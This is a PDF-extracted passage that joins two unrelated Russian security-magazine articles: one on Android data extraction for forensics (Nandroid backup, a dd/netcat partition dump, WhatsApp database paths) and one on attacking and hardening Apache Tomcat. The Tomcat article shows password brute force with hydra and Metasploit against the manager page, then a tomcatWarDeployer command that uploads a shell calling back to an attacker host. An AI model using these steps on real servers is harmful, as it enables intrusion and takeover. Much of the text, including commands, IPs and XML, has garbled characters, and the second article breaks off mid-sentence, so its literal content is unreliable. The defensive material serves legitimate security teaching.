воля ющих  получить  завет ный  root‐дос туп  на  Android‐девай се  (а  если  нет,
советую изу чить матери ал по  , ну и Гугл тебе в помощь).этой ссыл ке

Как понима ешь, это не самый гуман ный спо соб, осо бен но если говорить
о  мобиль ной  кри мина лис тике,  ведь  он  оставля ет  мас су  сле дов  в  памяти
устрой ства,  нап ример  добавит  при ложе ние  SuperSU,  а  в  слу чае  KingoRoot
и еще пароч ку бес полез ных при ложе ний. Тем не менее вре мена ми при ходит‐ 
ся  исполь зовать  и  такие  сом нитель ные  методы:  здесь  глав ное —  все  тща‐ 
тель но докумен тировать. Разуме ется, не все root‐методы оди нако во вред ны,
иног да  мож но  получить  вре мен ный  root‐дос туп,  который  впол не  себе  кри‐ 
мина лис тичес ки пра виль ный.

Есть  и  более  при емле мый  спо соб  —  так  называ емый  Nandroid‐бэкап.
Здесь на помощь кри мина лис ту при ходят все воз можные кас томные рекаве‐ 
ри‐про шив ки,  нап ример  .  Кста ти,  ребята  из  Oxygen  Software  сде лали
свои  собс твен ные,  очи щен ные  от  все воз можно го  мусора  и  мак сималь но
приб лижен ные к кри мина лис тичес ким стан дартам, о них мы погово рим поз‐ 
же, ког да зай мем ся извле чени ем дан ных на физичес ком уров не.

TWRP

Вер немся к TWRP и Nandroid. Такой бэкап, в отли чие от прес ловуто го ADB,
поз воля ет  сде лать  прак тичес ки  точ ную  копию  сос тояния  тво его  Android‐
девай са в опре делен ный момент вре мени,  а  это  зна чит,  что абсо лют но все
дан ные при ложе ний дос танут ся кри мина лис там. И да, слож ный гра фичес кий
пароль твои дан ные едва ли спа сет. А вот заб локиро ван ный заг рузчик очень
даже  может,  так  как  в  этом  слу чае  про шить  кас томное  рекаве ри  едва  ли
получит ся. Такие смар тфо ны очень расс тра ивают кри мина лис тов, уж поверь
мне.

Итак, что же нам понадо бит ся для соз дания Nandroid‐бэкапа? Рас смот рим
на при мере самых рас простра нен ных Android‐девай сов — тех, что про изве‐ 
дены  груп пой  ком паний  Samsung.  Во‐пер вых,  нужен  под ходящий  образ
рекаве ри,  его  мож но  най ти  на  офи циаль ном  сай те  TWRP.  Во‐вто рых,  све‐ 
жень кая  (а  иног да  и  не очень  све жень кая)  вер сия   — он‐то  и  поз волит
залить про шив ку в смар тфон.

Odin

И самое глав ное — не забудь вста вить кар ту памяти, ина че при дет ся сох‐ 
ранять  бэкап  пря мо  в  память  смар тфо на/план шета,  а  это  при ведет  к  унич‐ 
тожению  дан ных,  находя щих ся  в  сво бод ной  области!  Пом нишь,  мы  тут
мобиль ной  кри мина лис тикой занима емся,  а  зна чит,  чем мень ше изме нений
мы вно сим, тем луч ше!

Ну что, ты готов? Если да, то запус кай све жезаг ружен ный Odin, перево ди
смар тфон в Download Mode (что бы это сде лать, вык лючи его, а затем заж ми
кноп ку уве личе ния гром кости, Home и Power) и под клю чай к компь юте ру. Жми
на PDA и выбирай пред варитель но заг ружен ный файл с рекаве ри — а теперь
Start! Как толь ко ты спра вил ся с этой непосиль ной задачей, мож но перезаг‐ 
ружать  смар тфон  в  све жень кое  кас томное  рекаве ри  —  для  это го
при перезаг рузке нуж но зажать кноп ку умень шения гром кости и Home. Если
ты все сде лал пра виль но, то, ско рее все го, уви дишь восемь доволь но круп‐ 
ных  кно пок,  на  одной  из  которых белым по  серому будет  написа но Backup.
Она‐то нам и нуж на. Теперь выбери под ходящее имя, пос тавь галоч ку на раз‐ 
деле Data (имен но он содер жит поль зователь ские дан ные), и мож но начинать
резер вное копиро вание.

Соз дание Nandroid‐бэкапа через TWRP

Вот так, все твои дан ные в руках кри мина лис тов!

ИЗВЛЕЧЕНИЕ ДАННЫХ НА ФИЗИЧЕСКОМ УРОВНЕ
Ну что ж, мы дош ли до самого инте рес ного. А самое инте рес ное здесь то, что
у  кри мина лис та  есть  мас са  вари антов,  обес печива ющих  воз можность
получе ния  побито вой  копии  энер гонеза виси мой  памяти  тво его  Android‐
девай са.  Разуме ется,  про ще  все го  получить физичес кий  дамп,  если  ты  сам
пред варитель но хорошень ко рас ковырял смар тфон и раз добыл root‐пра ва.

Единс твен ным  пре пятс тви ем  для  кри мина лис та  здесь  может  быть  шиф‐ 
рование раз дела с поль зователь ски ми дан ными, но,  как  ты уже зна ешь, его
всег да (ну или поч ти всег да) мож но побороть извле чени ем дан ных на более
высоком  уров не,  нап ример  уров не фай ловой сис темы  (смот ри пре дыду щую
часть). Сде лать побито вую копию мож но даже при помощи стан дар тной ути‐ 
литы    и  .  Для  это го  на  иссле дуемом  устрой стве  дол жен  быть  тер‐ 
минал, если его нет, то при дет ся самос тоятель но уста новить (не забывай все
тща тель но докумен тировать, записы вая пред при нима емые шаги, что бы поз‐ 
же вос поль зовать ся этим при написа нии зак лючения). Готов? Поеха ли!

dd netcat

От крой тер минал на сво ем компь юте ре, перей ди в дирек торию, в которой
ты  пла ниру ешь  сох ранить  побито вую  копию  сво его  (или  иссле дуемо го)  An‐
droid‐девай са, и вос поль зуйся сле дующей коман дой:

adbŜexe �orward tcpś8888 tcpś8888

Те перь  ADB  может  вза имо дей ство вать  с  netcat  через  порт  8888.  Возь ми
смар тфон (или план шет) и в тер минале вве ди сле дующую коман ду:

dd i�ʰŵde�ŵblockŵmmcblkɥpɨɭ Ŷ busybox nc ‐l ‐p 8888

В моем слу чае раз дел с поль зователь ски ми дан ными шес тнад цатый по сче ту,
у  тебя, разуме ется, все может быть по‐дру гому. Что бы понять,  где пря чет ся
поль зователь ский раз дел, можешь вос поль зовать ся коман дой  . Теперь
самое  вре мя  начать  пре обра зовы вать  извле каемые  дан ные  в  побито вую
копию. В тер минале на сво ем компь юте ре вве ди

mount

nc ɨ2ɮŜɥŜɥŜɨ 8888 ʴ userdataɏimageŜdd

В резуль тате пос ле завер шения про цес са ты получишь побито вую копию раз‐ 
дела  с  поль зователь ски ми  дан ными,  содер жимое  которой  мож но  будет
иссле довать  даже  какими‐то  из  инс тру мен тов,  опи сан ных  мной  в  статье
о кри мина лис тичес ком ана лизе iOS‐устрой ств.

Да вай раз берем еще один вари ант соз дания физичес кого обра за Android‐
девай са — с помощью кас томно го рекаве ри. Пом нишь, я говорил, что ребята
из Oxygen Software сде лали свои собс твен ные, «чис тые» рекаве ри для подоб‐ 
ных  целей?  Так  вот,  одним  из  таких  мы  сей час  и  вос поль зуем ся.  Нашим
подопыт ным будет Samsung Galaxy S5 Duos под управле нием Android 6.0.1.

Пер вое,  что  нам  нуж но  сде лать, —  это  перевес ти  его  в Download Mode.
Думаю,  ты  еще  пом нишь,  как  это  сде лать.  Выбира ем  пункт  «Под клю чить
устрой ство»,  далее  «Samsung Android дамп  (модифи циро ван ный образ вос‐ 
ста нов ления)»,  выбира ем  модель  и  вер сию,  и  самое  слож ное:  удер живая
кноп ку  уве личе ния  гром кости  и  Home,  необ ходимо  клик нуть  по  кноп ке  заг‐ 
рузки кас томно го рекаве ри. Если тебе хва тило лов кости  (мне вот с тру дом),
то все дол жно закон чить ся  хорошо и  телефон перезаг рузит ся в режим вос‐ 
ста нов ления. На телефо не дол жен появить ся Oxygen Software, а на монито ре
же покажет ся что‐то вро де это го:

Ус трой ство в режиме вос ста нов ления Oxygen

Как видишь, теперь устрой ство име ет root‐дос туп, а это зна чит, что мы с лег‐ 
костью  смо жем  получить  побито вую  копию.  Более  того,  «Мобиль ный  кри‐ 
мина лист:  Детек тив»  поможет  нам  про ана лизи ровать  извле чен ные  дан ные
и  даже  вос ста новить  уда лен ные,  в  том  чис ле  из  уже  извес тных  тебе  баз
SQLite.

Оп ции извле чения дан ных

Вот такая магия!

ФАЙЛОВЫЕ СИСТЕМЫ ANDROID-ДЕВАЙСОВ
Итак,  у  нас  есть  пара физичес ких  обра зов  (наде юсь,  они  нешиф рован ные).
Самое  вре мя  прис тупить  к  ана лизу  име ющих ся  на  них  дан ных.  Для  начала
давай  опре делим ся,  какие  фай ловые  сис темы  тебе  могут  встре тить ся.  Их
доволь но  мно го,  хотя,  конеч но,  самая  рас простра нен ная  сей час  ext 4,
которая  исполь зует ся  в  Android‐девай сах  начиная  с  Gingerbread  (2.3).  Если
с ext 4 все более или менее понят но, то с некото рыми дру гими — не сов сем.

Так,  тебе  может  встре тить ся  F2FS  —  фай ловая  сис тема  с  откры тым
исходным  кодом,  соз данная  Samsung.  Ее,  кста ти,  так же  облю бова ли  раз‐ 
работ чики из Motorola. Если вдруг в твои руки попадет устрой ство пре‐Ginger‐
bread,  то,  впол не  воз можно,  ты  стол кнешь ся  с  YAFFS 2  —  еще  одной  фай‐ 
ловой сис темой с откры тым исходным кодом. Так к чему я это все? Ах да! Чем
боль ше  ты  любишь  Linux,  тем про ще  тебе  спра вить ся  со  все ми  эти ми фай‐ 
ловыми  сис темами.  Разуме ется,  ком мерчес кие  прог рам мные  ком плек сы  я
в рас чет не беру — эти без проб лем раз дела ются с любой из них.

ВОССТАНОВЛЕНИЕ УДАЛЕННЫХ ДАННЫХ
Пе ред тем как начать иссле довать получен ные дан ные, очень неп лохой иде ей
будет  вос ста новить,  нас коль ко  это  воз можно,  все  уда лен ное.  Здесь  мы
погово рим  о  внут ренней  памяти  Android‐девай са,  так  как  с  microSD‐кар той
все более или менее понят но. Если же ты вдруг запутал ся в сво ем прог рам‐ 
мном арсе нале — для этой цели можешь вос поль зовать ся  .TestDisk

Ты уже зна ешь, что такое кар винг (а если вдруг забыл — это метод вос ста‐ 
нов ления  дан ных,  осно ван ный  на  ана лизе  не  метадан ных,  а  содер жимого
фай лов).  Разуме ется,  эта  тех ника  сра бота ет  и  здесь.    или 
прек расно спра вят ся с этой задачей. Пер вый, меж ду про чим, даже вклю чен
в качес тве модуля в небезыз вес тный опен сор сный кри мина лис тичес кий инс‐ 
тру мент  .  Кста ти,  для  иссле дова ния  ext 4  ты  лег ко  можешь  вос поль‐ 
зовать ся этим инс тру мен том.

PhotoRec Scalpel

Autopsy

Вос ста новить  уда лен ные  фай лы,  если  мы  говорим  об  ext 4,  так же  может
помочь    —  этот  инс тру мент  про шер стит  весь  жур нал  раз дела
в поис ках уда лен ных дан ных. Ком мерчес кие инс тру мен ты, разуме ется, тут вне
кон курен ции  —  все  тот  же  «Мобиль ный  кри мина лист»  с  лег костью  вос ста‐ 
новит все необ ходимое сра зу пос ле сня тия физичес кого обра за.

extundelete

Ес тес твен но, не вся уда лен ная информа ция кро ется в уда лен ных фай лах.
Как и в iOS, в Android боль шинс тво при ложе ний (осо бен но это каса ется мес‐ 
сен дже ров  и  веб‐бра узе ров,  которые,  в  общем‐то,  слу жат  чуть  ли  не  глав‐ 
ными  источни ками  циф ровых  доказа тель ств)  хра нит  информа цию  в  базах
дан ных SQLite. В пре дыду щей статье ты уже поз накомил ся с инс тру мен тами,
поз воля ющи ми вос ста нав ливать уда лен ные записи из таких баз, если же тебе
хочет ся  поковы рять ся  в  них  самому,  я  нас тоятель но  рекомен дую  прос мот‐ 
рщик  баз  дан ных  SQLite,  явля ющий ся  частью  «Мобиль ного  кри мина лис та»
Oxygen Software.

Прос мот рщик баз дан ных SQLite «Мобиль ного кри мина лис та»

Как по мне, на сегод няшний день это луч ший прос мот рщик с воз можностью
вос ста нов ления  уда лен ных  записей,  а  визу аль ный  конс трук тор  зап росов —
это вооб ще отдель ный раз говор.

АНАЛИЗ ANDROID-ПРИЛОЖЕНИЙ
Я дол го думал, какое же при ложе ние взять в качес тве при мера, в ито ге решил
оста новить ся на ну очень популяр ном мес сен дже ре — WhatsApp. Он порази‐ 
тель но час то встре чает ся как на  iOS‐девай сах, так и на Android. Разуме ется,
ком мерчес кие  инс тру мен ты  вро де  «Мобиль ного  кри мина лис та»  сде лают
гряз ную работу за тебя и про демонс три руют всю перепис ку, вклю чая уда лен‐ 
ные сооб щения, по резуль татам ана лиза извле чен ных дан ных. Но мы пой дем
дру гим путем и про ана лизи руем дан ные это го при ложе ния вруч ную.

Для начала тебе нуж но най ти сле дующий каталог: 
.

ŵdataŵdataŵcomŜwhat‐
sapp

Пер вое,  что  дол жно  бро сить ся  в  гла за,  —  это  два  фай ла  с  име нем  .
Пер вый име ет рас ширение   и хра нит юзер пик, вто рой без рас ширения —
в нем  ты най дешь номер, с  которым ассо циирует ся WhatsApp‐акка унт. Если
ты  перемес тишь ся  в  ,  то  най дешь  мини атю ры  юзер пиков
всех  кон тактов  поль зовате ля.  Ну  вот  мы  и  доб рались  до  самого  лакомо го
кусоч ка —  . Как ты, навер но, догадал ся, это база дан ных в фор‐ 
мате  SQLite,  которая  содер жит  информа цию  о  передан ных  и  получен ных
сооб щени ях. Думаю, ты уже зна ешь, что с ней делать. Най ти ее мож но здесь:

.  Что  каса ется  изоб ражений,  видео
и  голосо вых сооб щений — все это богатс тво  ты можешь най ти на microSD‐
кар те:  .

me
�pg

ŵ�ilesŵA�atars

msgstoreŜdb

ŵdataŵdataŵcomŜwhatsappŵdatabases

ŵsdcardŵ�hatsAppŵ�edia

ВЫВОД
Те перь  ты  понима ешь,  что  дос тать  всю  нуж ную  информа цию  из  тво его  An‐
droid‐девай са даже лег че, чем из айфо на. Разуме ется, здесь тоже есть свои
под водные кам ни, шиф рование нап ример. Заб локиро ван ный заг рузчик так же
может  спас ти  твои  дан ные  далеко  не  всег да —  JTAG  и  Chip‐off  еще  ник то
не отме нял, хотя здесь шан сы успешно го извле чения нес коль ко умень шают‐ 
ся. А вку пе с пас ско дом и шиф ровани ем (если у тебя Android 7.0, то, ско рее
все го, оно акти виро вано по умол чанию; если ты обно вил ся до нее с пре дыду‐ 
щей вер сии, то сто ит это про верить) эта осо бен ность сде лает твой смар тфон
или план шет нас тоящей Кре постью Оди ночес тва.

mailto:skulkin@inbox.ru
http://goo.gl/OTtzll
http://goo.gl/lXohSs
http://goo.gl/oAIvAA
http://goo.gl/oozchr
https://goo.gl/k7rjVY
http://goo.gl/msndOy
http://goo.gl/msndOy
http://goo.gl/bGaQIy
http://goo.gl/mX3ELJ
http://goo.gl/BnN7uI
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В  пос леднее  вре мя  в  стать ях  и  пен тестер ских  отче тах  все
чаще упо мина ется Apache Tomcat. И нес прос та. Он занима‐ 
ет  шес тую  строч ку  по  популяр ности  сре ди  веб‐сер веров
в  рей тин ге  W3Techs,  что  дела ет  его  прив лекатель ной
мишенью  для  зло умыш ленни ков.  Нас трой ки  по  умол чанию
в  Apache  Tomcat  не  поз воля ют  про тивос тоять  рас простра‐ 
нен ным  методам  атак,  поэто му  пред лагаю  озна комить ся
с основны ми тех никами, исполь зуемы ми для взло ма, а так же
спо соба ми про тиво дей ствия.

Статья  адре сова на  спе циалис там  по  безопас‐ 
ности  и  тем,  кто  собира ется  ими  стать.  Вся
информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

ВВЕДЕНИЕ
Apache  Tomcat — откры тое  при ложе ние,  раз рабаты ваемое Apache Software
Foundation и пред став ляющее собой кон тей нер сер вле тов. Написан на язы ке
Java.  Tomcat  может  выс тупать  в  качес тве  самос тоятель ного  веб‐сер вера,
сер вера  кон тента в сочета нии с  веб‐сер вером Apache HTTP Server,  а  так же
в  качес тве  кон тей нера  сер вле тов  в  сер верах  при ложе ний GlassFish  и  JBoss
Application Server. По  дан ным W3Techs,  его  исполь зуют  0,6%  всех  сай тов  (а
с  уче том локаль ных  сетей  эта циф ра  в  разы  уве личи вает ся).  Так,  поис ковая
сис тема  Shodan  находит  поряд ка  955  тысяч  веб‐ресур сов,  работа ющих
на дан ном веб‐сер вере. Это ука зыва ет на то, что Apache Tomcat слу жит мес‐ 
том потен циаль ного инте реса для зло умыш ленни ков.

Ес ли говорить о кон крет ных при мене ниях, то Apache Tomcat мож но встре‐ 
тить  в  сис теме  голосо вой  поч ты  Cisco  Unity  Express,  в  решении  Cisco
для  управле ния  сетями Cisco Network  Registrar,  в  авто мати зиро ван ных  биб‐ 
лиотеч ных  информа цион ных  сис темах,  в  сис теме  управле ния  мно жес твом
точек дос тупа из еди ного цен тра управле ния UniFi, в Server Backup Manager
от  R1Soft,  в  сис теме  вза имо дей ствия  с  сер висами  ГИС  ГМП,  в  НБКИ
(iDБанк‐СМЭВ, Credit Registry), в ДБО, в веб‐тул барах для прин теров.

Что бы  поз накомить ся  с  основны ми  видами  атак  на  Tomcat  и  метода ми
про тиво дей ствия им, возь мем вер сию 7.0.77, уста нов ленную с нас трой ками
по умол чанию на Windows‐машине. Адрес этой машины будет 

, адрес ата кующе го —  .   — мес то уста‐ 
нов ки Tomcat. Прис тупим.

ɨɰ2Ŝɨɭ8Ŝ223Ŝ
ɨ3ɥ ɨɰ2Ŝɨɭ8Ŝ223Ŝɨɫɫ ɛCATALINAɏHO��

РАЗВЕДКА
Оп ределе ние вер сии
Нач нем с обна руже ния откры тых пор тов и опре деле ния исполь зуемой вер сии
веб‐сер вера.  По  умол чанию  Apache  Tomcat  рас положен  на  пор ту  8080,
но час тень ко его мож но обна ружить на пор тах 8443, 8081, 80 и 443. На вся кий
слу чай с помощью Nmap прос каниру ем все пор ты:

nmap ‐sS ‐s� ‐p ‐ ɨɰ2Ŝɨɭ8Ŝ223Ŝɨ3ɥ

Пос ле  того  как  мы  узна ли,  на  каком  пор те  находит ся  Apache  Tomcat,  опре‐ 
делим исполь зуемую вер сию. В ста рых вер сиях Apache Tomcat номер вер сии
ука зывал ся в HTTP‐заголов ках   или  , нап ример 

.  Начиная  с  вер сий  5.5.29  и  6.0.23  HTTP‐заголо вок
 при нима ет зна чение  . В таком слу чае опре делить

вер сию мож но, выз вав стра ницу с ошиб кой или заг лянув в «лиш ние» фай лы:
на стра ницы со спра воч ной информа цией ( ), стра ницы с при мера ми (

) или в файл  :

�‐Powered‐By Ser�er Ser�erś
Apache  TomcatŵɫŜɥŜɭ
Ser�er Apache‐CoyoteŵɨŜɨ

ŵdocsŵ ŵ
examplesŵ R�L�AS�‐NOT�SŜtxt

httpśŵŵɨɰ2Ŝɨɭ8Ŝ223Ŝɨ3ɥś8ɥ8ɥŵŠ
httpśŵŵɨɰ2Ŝɨɭ8Ŝ223Ŝɨ3ɥś8ɥ8ɥŵdocsŵ
httpśŵŵɨɰ2Ŝɨɭ8Ŝ223Ŝɨ3ɥś8ɥ8ɥŵR�L�AS�‐NOT�SŜtxt

Кста ти,  уяз вимость  CVE‐2006‐1654,  най ден ная  в  веб‐тул боксах  HP  Color
LaserJet  2500/4600  (инс тру мент,  пре дос тавля ющий  дос туп  к  спра воч ной
информа ции,  информа ции о  сос тоянии  прин тера и  инс тру мен там для  диаг‐ 
ности ки  и  решения  проб лем),  —  «зас луга»  имен но  Apache  Tomcat.  Уяз‐ 
вимость  обхо да  катало га  поз воля ет  зло умыш ленни ку  получить  дос туп
к любым фай лам и катало гам уяз вимой сис темы, вклю чая исходные коды при‐ 
ложе ний, кон фигура цион ные и сис темные фай лы.

По иск дирек торий и фай лов
По ищем  дос тупные  дирек тории  и  фай лы.  В  этом  нам  поможет  OWASP  ZAP
(рань ше для этих целей исполь зовал ся OWASP DirBuster, но тул за не обновля‐ 
ется с 2009 года, а на стра нице про екта вза мен рекомен дуют исполь зовать
имен но OWASP ZAP). Все, что от тебя тре бует ся, — это вста вить URL‐адрес
для ата ки и нажать на кноп ку «Ата ка». При желании можешь ука зать свой файл
для бру та дирек торий.

Па рамет ры поис ка дирек торий

Ча ще  все го  зло умыш ленни ков  инте ресу ет  менед жер  при ложе ний  (каталог
),  который  поз воля ет  уста нав ливать  при ложе ния  или  заливать

веб‐шелл. В дирек тори ях сто рон них при ложе ний могут находить ся стра ницы
авто риза ции,  стра ницы  для  заг рузки  фай лов  или  вооб ще  стра ницы, 

.

manager

со дер‐ 
жащие уяз вимос ти

За щита от поис ка дирек торий и фай лов
В  качес тве  мер  защиты  рекомен дую  отсле живать  поваль ное  наличие  оши‐ 
бок  404  в  логах  фай ла    (что  в  пап ке

) и огра ничить дос туп по IP (под робнос ти чуть поз же).
localhostɏaccessɏlogŜ����‐��‐DD

ɛCATALINAɏHO��logs

За щита от опре деле ния вер сии
Для того что бы скрыть вер сию веб‐сер вера, про дела ем сле дующие шаги:
1. Уда лим все лиш ние фай лы из под катало гов Apache Tomcat, нап ример пап‐ 
ки   и 

, файл  .
�&$7$/,1$B+20(?Zebapps?docs �&$7$/,1$B+20(?Zebapps?e[‐

amples �&$7$/,1$B+20(?Zebapps?5227?5(/($6(�127(6.t[t
2. В  катало ге    содер жимое  фай ла 

  (это  глав ная  стра ница  веб‐сер вера)  заменим  сво им  содер жимым
либо:

ɛCATALINAɏHO��ɎwebappsɎROOTɎ indexŜ
�sp

1. за меним содер жимое тега  , нап ример на:ʳtitleʴ

ʳtitleʴƄƃakerʳŵtitleʴ

2. уда лим сле дующие строч ки:

ʳdi� idʰɑas�‐boxɑʴ
    ʳhɨʴɛƇpageContextŜser�letContextŜser�erIn�oƈʳŵhɨʴ
ʳŵdi�ʴ

3. От клю чим  HTTP‐заголо вок    и  изме ним  зна чение 
для всех кон некто ров. Дела ется сле дующим обра зом:

�‐Powered‐By Ser�er

1. в    для  каж дого  кон некто ра  уда‐ 
лим  параметр    либо  прис воим  ему  зна чение  «false»: 

;

�&$7$/,1$B+20(?conI?server.[ml
[poZered%y �

&onnector�...�[poZered%y �Ialse��/!
2. для каж дого кон некто ра добавим параметр  , нап ример со сле‐ 
дующим зна чени ем: 

.

server
�&onnector�...�server �$pache�&oyote/�.

���/!

Стра ницу с ошиб кой мож но заменить на свою. Для это го нуж но в 
  и  в 

 перед зак рыва ющим тегом   вста вить сле дующие стро ки:

ɛCATALIN‐
AɏHO��Ɏcon�ɎwebŜxml ɛCATALINAɏHO��ɎwebappsɎʳAPPɏNA��ʴɎ��BINFɎ
webŜxml web‐appʴ

ʳerror‐pageʴ
    ʳerror‐codeʴɫɥɫʳŵerror‐codeʴ
    ʳlocationʴŵerrorŜ�spʳŵlocationʴ
ʳŵerror‐pageʴ
ʳerror‐pageʴ
    ʳerror‐codeʴɫɥ3ʳŵerror‐codeʴ
    ʳlocationʴŵerrorŜ�spʳŵlocationʴ
ʳŵerror‐pageʴ
ʳerror‐pageʴ
    ʳerror‐codeʴɬɥɥʳŵerror‐codeʴ
    ʳlocationʴŵerrorŜ�spʳŵlocationʴ
ʳŵerror‐pageʴ

А в  катало гах    соз дать файл 
 при мер но с таким содер жимым:

ɛCATALINAɏHO��ɎwebappsɎʳAPPɏNA��ʴɎ errorŜ
�sp

ʳhtmlʴ
ʳheadʴ
    ʳmeta http‐equi�ʰɑre�reshɑ contentʰɑ2Ś ŵɑʴ
    ʳtitleʴ�rror pageʳŵtitleʴ
ʳŵheadʴ
ʳbodyʴ Unknown errorʳŵbodyʴ
ʳŵhtmlʴ

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
По иск экс пло итов
На  сле дующем  шаге  мы  поищем  готовые  экс пло иты.  В  этом  нам  поможет
поис ковик    с  зап росом  сле дующе го  вида: 

.
vulners ɑApache  Tomcat  ɮɑ  AND

bulletinFamilyśexploit

Ин терфейс с резуль татами поис ка в vulners

Нап ример, недав но в паб лик выложи ли уяз вимость  , бла года‐ 
ря которой зло умыш ленник может пов лиять на веб‐кеш, выпол нить XSS‐ата ки
и/или получить кон фиден циаль ную информа цию от дру гих зап росов, манипу‐ 
лируя HTTP‐отве тами.

CVE‐2016‐6816

Ес ли  готовых  экс пло итов  не  наш лось  либо  най ден ные  уяз вимос ти
не  пред став ляют  реаль ной  угро зы  в  кон тек сте  ата куемой  сис темы,  пой дем
дру гим путем.

Под бор паролей
Поп робу ем подоб рать пароль от стра ницы менед жера при ложе ний. Менед‐ 
жер при ложе ний пред назна чен для уда лен ного раз верты вания веб‐при ложе‐ 
ний  и  час то  слу жит  основной  целью  зло умыш ленни ков,  так  как  для  дос тупа
к нему обыч но исполь зуют ся дефол тные логины и пароли  (иног да их мож но
най ти в докумен тации к прог рам мно му обес печению).

Ру ководс тво по уста нов ке и экс плу ата ции Credit Registry Enterprise v. 7

Па роли мож но подоб рать с помощью hydra:

hydra ‐L usersŜtxt ‐P passwordsŜtxt ɨɰ2Ŝɨɭ8Ŝ223Ŝɨ3ɥ ‐s 8ɥ8ɥ http‐get 
ŵhost‐managerŵhtml ‐��

ли бо с помощью Metasploit Framework, вос поль зовав шись модулем 
.

auxili‐
aryŵscannerŵhttpŵtomcatɏmgrɏlogin

Пред варитель ная нас трой ка вспо мога тель ного Metasploit‐модуля

В  дан ном  слу чае  рекомен дует ся  исполь зовать  слож ные  пароли,  огра ничить
дос туп  к  катало гам  по  IP,  нас тро ить  защиту  от  под бора  учет ных  дан ных,
монито рить логи.

За щита от брут форса
За щита  от  брут форс‐атак  реали зует ся  вне сени ем  в 

  сле дующих  строк  (нуж но  вста вить  внут ри  зак рыва юще го  тега 
):

ɛCATALINAɏHO��Ɏcon�Ɏ
ser�erŜxml ʳ
�ngineʴ

ʳRealm classNameʰɑorgŜapacheŜcatalinaŜrealmŜLockOutRealmɑ �ailur
eCountʰɑ3ɑ lockOutTimeʰɑɭɥɥɑʴ
    ʳRealm classNameʰɑorgŜapacheŜcatalinaŜrealmŜUserDatabaseRealmɑ 
resourceNameʰɑUserDatabaseɑŵʴ
ʳŵRealmʴ

где    —  бло киров ка  пос ле  задан ного  количес тва  неудач ных
попыток под ряд;   — вре мя  (в  секун дах),  на  которое будет  заб‐ 
локиро ван поль зователь.

�ailureCount
lockOutTime

Прав да, здесь при меня ется бло киров ка по име ни поль зовате ля, поэто му
при брут форс‐ата ке такой спо соб защиты может при вес ти к отка зу в дос тупе
легитим ному  юзе ру.  Поэто му  луч ше  монито рить  логи  (в  интерне те  мож но
най ти  опи сание,  как  это  дела ется  с  помощью  рас простра нен ных  ана лиза‐ 
торов логов типа Splunk или ELK).

Ог раниче ние дос тупа по IP
По умол чанию дос туп к веб‐интерфей су Apache Tomcat с внеш него перимет‐ 
ра зак рыт, но он дос тупен из локаль ной сети. Если тре бует ся огра ничить дос‐ 
туп по IP, это мож но сде лать сле дующим обра зом. В 

 меж ду зак рыва ющим тегом   вставь строч ку
ɛCATALINAɏHO��Ɏcon�Ɏ

ser�erŜxml ʳHostʴ

ʳ�al�e classNameʰɑorgŜapacheŜcatalinaŜ�al�esŜRemoteAddr�al�eɑ allowʰ
ɑɨ2ɮɎŜɥɎŜɥɎŜɨɑŵʴ

В парамет ре   в виде регуляр ного выраже ния перечис ли все IP, которым
тре бует ся дос туп.

allow

ЗАКРЕПЛЕНИЕ В СИСТЕМЕ
За лив ка шел ла
До пус тим, все прош ло успешно и мы сбру тили пароль для дос тупа к менед‐ 
жеру  при ложе ний.  Теперь  приш ла  пора  заливать  шелл.  Для  это го  через
менед жер  при ложе ний  необ ходимо  заг рузить  WAR‐архив,  содер жащий
полез ную  наг рузку.  Сущес тву ет  готовый  скрипт  ,
который все сде лает за нас, от нас тре бует ся лишь ука зать учет ные дан ные,
адре са и пор ты локаль ного и уда лен ного хос тов:

tomcat�arDeployerŜpy

python tomcat�arDeployerŜpy ‐� ‐x ŷU admin ŷP admin ‐p ɫɫɫɫ ‐H ɨɰ2Ŝ
ɨɭ8Ŝ223Ŝɨɫɫ ɨɰ2Ŝɨɭ8Ŝ223Ŝɨ3ɥś8ɥ8ɥ

За лив ка шел ла

Ог раниче ние учет ной записи
В  дан ной  ситу ации  методом  защиты  будет  слу жить  запуск  служ бы  Tomcat
под  огра ничен ной  учет ной  записью,  что  не  поз волит  повысить  при виле гии
либо усложнит этот про цесс.

Для  начала  соз дай  учет ную  запись  поль зовате ля  с  огра ничен ными  пра‐ 
вами (нап ример,  ) для того, что бы запус кать от его име ни сер вис Tom‐
cat.  Далее  открой  служ бы  Windows  («Выпол нить  →  services.msc»).  Най ди
служ бу  .  Двой ным  щел чком  по  левой  кноп ке
мыши зай ди в свой ства служ бы и выбери пункт «Вход в сис тему». В поле «С
учет ной  записью»  вве ди  имя  учет ной  записи  (в  нашем  слу чае  )
и пароль. В завер шение наж ми на кноп ку «При менить».

Tomcat

Apache  Tomcat  ɮŜɥ  Tomcatɮ

Tomcat

Нас трой ка вхо да в сис тему для служ бы Tomcat

Те перь  перей дем  к  нас трой ке  раз решений.  Выдели  пра вой  кноп кой  мыши
пап ку  ,  клик ни  по  меню  «Свой ства».  Перей ди  на  вклад ку
«Безопас ность». Наж ми  на  кноп ку  «Изме нить»  в  раз деле  «Груп пы  или  поль‐ 
зовате ли»  и  добавь  ранее  соз данно го  поль зовате ля  через  кноп ку
«Добавить». Далее добавь  сле дующие раз решения для  груп пы  :  чте‐ 
ние  и  выпол нение;  спи сок  содер жимого  пап ки;  чте ние;  запись.  Пос ле  чего
при мени  уста нов ленные  нас трой ки.  Оста лось  толь ко  запус тить  служ бу
Tomcat.

ɛCATALINAɏHO��

Tomcat

Нас трой ка раз решений для катало га Tomcat

 — рекомен дации по безопас ным нас трой кам
Apache  Tomcat  7.0,  работа юще го  под  управле нием  Linux.  Документ  сос тоит
из  десяти  раз делов,  вклю чающих  рекомен дации  по  уда лению  «лиш них»
ресур сов,  огра ниче нию  дос тупа  к  кон фигура цион ным  фай лам,  нас трой ке
логов, нас трой ке политик Catalina и про чее.

CIS Apache Tomcat 7 Benchmark

Ре комен дации раз делены на два уров ня про филя кон фигура ции: level 1 —
базовые  нас трой ки  безопас ности,  level  2  —  рас ширен ные  нас трой ки
безопас ности (могут при водить к сбо ям и вли ять на про изво дитель ность).

ЗАКЛЮЧЕНИЕ
Итак,  мы  рас смот рели  основные  век торы  атак  на  Apache  Tomcat.  Как  ты
заметил, их не так мно го, но это не меша ет зло умыш ленни кам их экс плу ати‐ 
ровать. Резуль татом такой ата ки может стать ком про мета ция сис темы, поэто‐ 
